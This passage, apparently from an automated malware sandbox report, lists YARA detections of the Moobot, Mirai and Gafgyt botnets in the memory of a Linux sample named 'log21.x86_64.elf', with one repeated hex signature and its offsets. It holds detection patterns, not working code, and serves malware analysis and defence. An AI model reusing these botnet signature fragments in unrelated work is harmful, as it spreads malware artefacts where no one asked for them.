2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfda:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1002:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1016:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x102a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6235	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6235	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6235	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1100:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1114:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1128:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x113c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1150:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1164:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1178:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1204:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1218:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x122c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1240:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1254:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1268:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1290:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6236	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6236	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6236	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1100:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1114:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1128:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x113c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1150:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1164:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1178:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1204:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1218:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x122c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1240:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1254:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1268:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1290:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6237	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6237	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1475:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1489:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x149d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1501:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1515:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1529:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x153d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1551:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1565:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1579:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x158d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15a1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15b5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15c9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15dd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1605:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6238	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6238	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6238	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6239	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6239	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6239	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6240	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6240	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6240	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x113c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1150:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1164:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1178:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1204:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1218:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x122c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1240:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1254:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1268:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1290:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6241	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6241	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16fd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1711:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1725:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1739:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x174d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1761:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1775:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1789:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x179d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1801:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1815:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1829:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x183d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1851:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1865:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1879:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x188d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6242	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6242	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6242	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1100:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1114:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1128:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x113c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1150:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1164:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1178:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1204:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1218:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x122c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1240:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1254:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1268:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1290:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6243	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
